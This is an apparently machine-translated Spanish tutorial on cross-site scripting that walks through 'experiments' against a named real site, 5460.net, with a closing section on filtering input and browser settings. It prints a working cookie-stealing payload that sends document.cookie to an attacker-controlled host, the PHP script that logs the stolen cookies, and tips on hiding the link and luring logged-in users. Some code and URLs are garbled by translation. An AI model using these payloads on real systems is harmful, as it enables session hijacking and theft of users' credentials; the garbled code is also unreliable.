Este artículo presenta principalmente las causas de las vulnerabilidades de ejecución de scripts del sitio cruzado. Dado que no hay mucha información sobre las vulnerabilidades de ejecución de scripts de sitios cruzados, generalmente no hay una introducción detallada en Internet. Espero que este artículo pueda introducir estos conocimientos con más detalle. Las siguientes son las causas de las vulnerabilidades de ejecución de script de sitios cruzados compiladas por el editor del canal de tecnología New New Wrong. ¡Vamos a lo siguiente para aprender más!
Causas de vulnerabilidades de ejecución de scripts de sitios cruzados [Causas de vulnerabilidades]
La razón es muy simple, porque el programa CGI no filtra ni convierte el código HTML en las variables enviadas por el usuario.
【Formulario de vulnerabilidad】
La forma mencionada aquí en realidad se refiere a la forma de entrada CGI, que se divide principalmente en dos tipos:
1. Mostrar entrada
2. Entrada implícita
La entrada de pantalla claramente requiere que el usuario ingrese datos, mientras que la entrada implícita no requiere que el usuario ingrese datos, pero el usuario puede interferir al ingresar datos.
La entrada de visualización se puede dividir en dos tipos:
1. La entrada se completa y el resultado se emite inmediatamente
2. La entrada se completa y almacena en un archivo de texto o base de datos, y luego el resultado se emite.
Nota: ¡Este último puede hacer que su sitio web sea irreconocible! :(
Además de algunas situaciones normales, la entrada implícita también se puede implementar utilizando el servidor o el programa CGI para manejar la información de error.
【Peligros de lagunas】
Lo que todo el mundo está más preocupado es probablemente este problema. La siguiente lista puede no ser integral o sistemática, pero creo que debería ser más típico.
1. Obtenga datos confidenciales en otras cookies de usuario
2. Bloquear información específica de la página
3. Información de página forjada
4. Ataque de denegación de servicio
5. Rompe las diferentes configuraciones de seguridad de redes externas e internas
6. Combinado con otras vulnerabilidades, modificar la configuración del sistema, ver archivos del sistema, ejecutar comandos del sistema, etc.
7. Otro
En términos generales, los peligros anteriores a menudo van acompañados de la deformación de la página. La llamada vulnerabilidad a la ejecución de scripts del sitio cruzado significa que el efecto de ataque se logra a través de los sitios web de otras personas, lo que significa que este tipo de ataque puede ocultar la identidad en cierta medida.
【Método de uso】
A continuación demostraremos los diversos peligros anteriores a través de ejemplos específicos, que deberían ser más explicativos y más fáciles de entender. Para una estructura más clara, haremos un experimento para cada peligro.
Para hacer bien estos experimentos, necesitamos un software de captura de paquetes. Yo uso Iris. Por supuesto, puede elegir otro software, como NetXray o algo así. Para obtener métodos de uso específicos, consulte la ayuda o el manual relevante.
Además, una cosa que debe entender es que mientras el servidor devuelva la información enviada por el usuario, puede haber una vulnerabilidad de ejecución de script de sitio cruzado.
Ok, todo está listo, ¡comencemos a experimentar! :)
Experimento 1: Obtenga información confidencial en las cookies de otros usuarios
Tomemos el famoso sitio de grabación de estudiantes nacionales 5460.net como ejemplo para ilustrar. Siga los pasos a continuación:
1. Ingrese la página de inicio http://www.5460.net/
2. Ingrese el nombre de usuario "<H1>" y envíelo. El servidor devuelve la información que contiene el envío del usuario "<H1>".
3. Analice los datos de captura de paquetes y obtenga la solicitud real:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. Construya un envío con el objetivo de poder mostrar información de cookies de usuario:
http://www.5460.net/txl/login/login.pl?username=<Script>alert(document.cookie)</ script> & passwd = & ok.x = 28 & ok.y = 6
5. Si la solicitud anterior obtiene el efecto esperado, entonces podemos probar la siguiente solicitud:
http://www.5460.net/txl/login/login.pl?username=<Script>window.open("http://www.notfound.org/ info.php? "%2bdocument.cookie) </script> & & & ok.x = 28 & ok.y = 6
Entre ellos, http://www.notfound.org/info.php es un script en un host que puede controlar. Su función es obtener la información de la cadena de consulta, y el contenido es el siguiente:
<? Php
$ info = getenv ("query_string");
if ($ info) {
$ fp = fopen ("info.txt", "a");
fwrite ($ fp, $ info. "/n");
fclose ($ fp);
}
Encabezado ("Ubicación: http://www.5460.net");
Nota: "%2b" es la codificación de URL de "+", y solo se puede usar "%2b" aquí, porque "+" se procesará como un espacio. Las siguientes oraciones de encabezado son puramente para aumentar el ocultamiento.
6. Si la URL anterior puede ejecutarse correctamente, el siguiente paso es inducir a los usuarios registrados en 5460.net para acceder a la URL, y podemos obtener información confidencial en la cookie del usuario.
7. ¡Lo que quieres hacer más tarde depende de ti!
Experimento 2: Bloquear información específica de la página
Todavía estamos tomando 5460.net como ejemplo, aquí hay un programa CGI problemático:
http://www.5460.net/txl/liuyan/liuyansql.pl.pl
El programa CGI acepta tres variables proporcionadas por el usuario, a saber, NID, CSID y CNAME, pero no verifica ninguna variable CNAME enviada por el usuario. Además, el programa CGI toma el valor de CNAME como parte de la página de salida. Los usuarios de 5460.net deben estar más claro que su nombre está en la esquina inferior derecha del mensaje, ¿verdad?
Como tenemos las condiciones anteriores, es posible que deseemos llegar a las siguientes conclusiones:
¡Un usuario puede "bloquear" todos los mensajes entre sus dos mensajes!
Por supuesto, el "bloqueo" del que estamos hablando no es "eliminación", y los mensajes del usuario aún existen, pero debido a las características de HTML, no podemos verlo desde la página. Por supuesto, si le gusta ver el código fuente, es inútil, pero aquellos de nosotros que estudiamos CGI Security dicen: ¿Cuántas personas miran el código fuente HTML si tiene algo que hacer o no?
Por varias razones, no anunciaré los detalles específicos aquí, solo conocer los principios.
Nota: Si lo piensa cuidadosamente, no solo podemos bloquear los mensajes, sino también dejar mensajes de forma anónima, ¿verdad?
Experimento 3: Información de la página olvidada
Si comprende el experimento anterior, no hay necesidad de hacer este experimento. Los principios básicos son los mismos, pero es un poco problemático de implementar.
Experimento 4: Ataque de denegación de servicio
Debe saber ahora que podemos controlar el comportamiento de los servidores con vulnerabilidades de ejecución de scripts de sitios cruzados hasta cierto punto. En este caso, podemos controlar el servidor para realizar algunas acciones que consumen recursos. Por ejemplo, ejecutar scripts de JavaScript que contienen bucles muertos o abren ventanas infinitas, etc. de esta manera el sistema de usuario que accede a la URL puede disminuir o incluso bloquear. Del mismo modo, también podemos integrar algunos scripts en él para pedirle al servidor que solicite recursos en otros servidores. Si los recursos accedidos consumen más recursos y hay más visitantes, al servidor al que se accede también se les puede negar el servicio, y cree que el servidor inicia el ataque de denegación de servicio, por lo que la identidad puede ocultarse.
Experimento 5: Rompe las diferentes configuraciones de seguridad de las redes externas e internas
Esto debería ser fácil de entender. En términos generales, nuestros navegadores establecen diferentes niveles de seguridad para diferentes regiones. Por ejemplo, para el área de Internet, es posible que no permita la ejecución de JavaScript, pero en el área de Intranet, puede permitir la ejecución de JavaScript. En términos generales, el nivel de seguridad del primero es más alto que el de este último. De esta manera, en general, otros no pueden atacarlo ejecutando scripts de JavaScript maliciosos, pero si hay una vulnerabilidad de ejecución de script de sitio cruzado en el servidor en la misma intranet que usted, entonces el atacante tiene la oportunidad de aprovecharla porque el servidor se encuentra en el área de Intranet.
Experimento 6: combinado con otras vulnerabilidades, modificar la configuración del sistema, ver archivos del sistema, ejecutar comandos del sistema, etc.
Debido a que hay demasiadas vulnerabilidades relacionadas con el navegador, hay muchas vulnerabilidades que se pueden combinar con las vulnerabilidades de ejecución de scripts de sitios cruzados. Creo que todos deberían ser muy claros sobre estos problemas. La vulnerabilidad de modificar los títulos de IE varias veces, la vulnerabilidad de los comandos de ejecución de tipo de MIME incorrecto y una variedad de gusanos son buenos ejemplos.
Para obtener más ejemplos, consulte el siguiente enlace:
Error de etiqueta de objeto emergente de Internet Explorer
http://archives.neo times.com/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript PopUp Modish PopUp Local Degación de servicio de servicio Vulnerabilidad
http://archives.neo timesis.com/archives/bugtraq/2002-01/0058.html
MSIE6 puede leer archivos locales
http://www.xs4all.nl/~jkuperus/bug.htm
Msie puede descargar y ejecutar progams automáticamente
http://archives.neo timesis.com/archives/bugtraq/2001-12/0143.html
Extensiones de archivo Spoofable en el cuadro de diálogo Descargar MSIE
http://archives.neo timesis.com/archives/bugtraq/2001-11/0203.html
El otro insecto de robo de galletas, es decir, (MS01-055)
http://archives.neo timesis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neo times.com/archives/bugtraq/2001-11/0048.html
Fecha de seguridad grave en Microsoft Internet Explorer - Spliting de zona
http://archives.neo timesis.com/archives/bugtraq/2001-10/0075.html
El encabezado MIME incorrecto puede hacer que IE ejecute el accesorio de correo electrónico
http://www.kriptopolis.com/cua/eml.html
El papel de la vulnerabilidad de la ejecución del script del sitio cruzado aquí es ocultar la identidad del atacante real.
Experimento 7: Otros
De hecho, este tipo de problema tiene poco que ver con las vulnerabilidades de ejecución de scripts del sitio cruzado, pero aún es necesario mencionarlo aquí. La esencia del problema es que el programa CGI no filtra los datos enviados del usuario y luego realiza el procesamiento de salida. Por ejemplo, un programa CGI en un servidor que admite SSI emite datos enviados por el usuario, lo que puede conducir a la ejecución de instrucciones SSI, independientemente del método de ingresar los datos. Por supuesto, esto se ejecuta en el lado del servidor, no en el lado del cliente. De hecho, los idiomas CGI como ASP, PHP y Perl pueden causar este problema.
【Técnicas ocultas】
Por el tiempo, hablaré principalmente de la teoría aquí. Creo que no es difícil de entender. Si realmente hay un problema, vaya a este libro para leerlo.
1. Codificación de URL
Comparar:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
¿Cuál crees que está más oculto? !
2. Ocultar debajo de otros objetos
¿Es mejor decidir ocultar el enlace debajo del botón que darle a alguien un enlace directamente?
3. Inscrito en la página
¿Es mucho más fácil dejar que otros accedan a una dirección (tenga en cuenta que la dirección aquí es diferente de la URL mencionada anteriormente) que dejar que otros presionen un botón? Con la ayuda de iframe, puedes hacer que este ataque sea más oculto.
4. Uso racional de eventos
El uso racional de eventos se puede pasar por alto en algunos casos las restricciones de entrada de los programas CGI, como la vulnerabilidad de ejecución de scripts del sitio cruzado de SecurityFocus hace unos días.
【Precauciones】
En términos generales, no hay problema en llevar a cabo ataques directamente como <script> Alert (document.cookie) </script>, pero a veces los programas CGI procesan la entrada del usuario, como incluir '' o ''. En este momento, necesitamos usar algunos trucos para evitar estas restricciones.
Si está familiarizado con el lenguaje HTML, evitar estas restricciones no debería ser un problema.
【Solución】
Para evitar ser atacados por vulnerabilidades de ejecución de script de sitio cruzado, tanto los programadores como los usuarios deben trabajar juntos:
programador:
1. Filtrar o convertir el código HTML en datos enviados por el usuario
2. Limite la duración de los datos enviados por los usuarios
usuario:
1. No acceda fácilmente a los enlaces que otros le dan
2. Deshabilitar los navegadores para ejecutar el código JavaScript y ActiveX
Adjunto: la ubicación de la configuración de modificación del navegador común es:
Internet Explorer:
Herramientas -> Opciones de Internet -> Seguridad -> Internet -> Niveles personalizados
Herramientas -> Opciones de Internet -> Seguridad -> Intranet -> Niveles personalizados
Ópera:
Archivo -> Parámetros rápidos -> Permitir Java
Archivo -> Parámetros rápidos -> Permitir complementos para usar
Archivo -> Parámetros rápidos -> Permitir JavaScript
【Preguntas frecuentes】
P: ¿Dónde existe la vulnerabilidad de ejecución de scripts del sitio cruzado?
R: Siempre que sea un programa CGI y mientras el usuario pueda ingresar, puede haber una vulnerabilidad de ejecución de script de sitio cruzado.
P: ¿Pueden las vulnerabilidades de ejecución de scripts del sitio solo robar las cookies de otras personas?
A: ¡Por supuesto que no! Se puede hacer todo el código HTML, se pueden hacer vulnerabilidades de ejecución de scripts del sitio cruzado.
El artículo anterior es la causa de las vulnerabilidades de ejecución de script de sitio cruzado. Creo que todos tienen un cierto entendimiento. Si desea saber más información técnica, ¡continúe prestando atención al nuevo canal de tecnología incorrecto!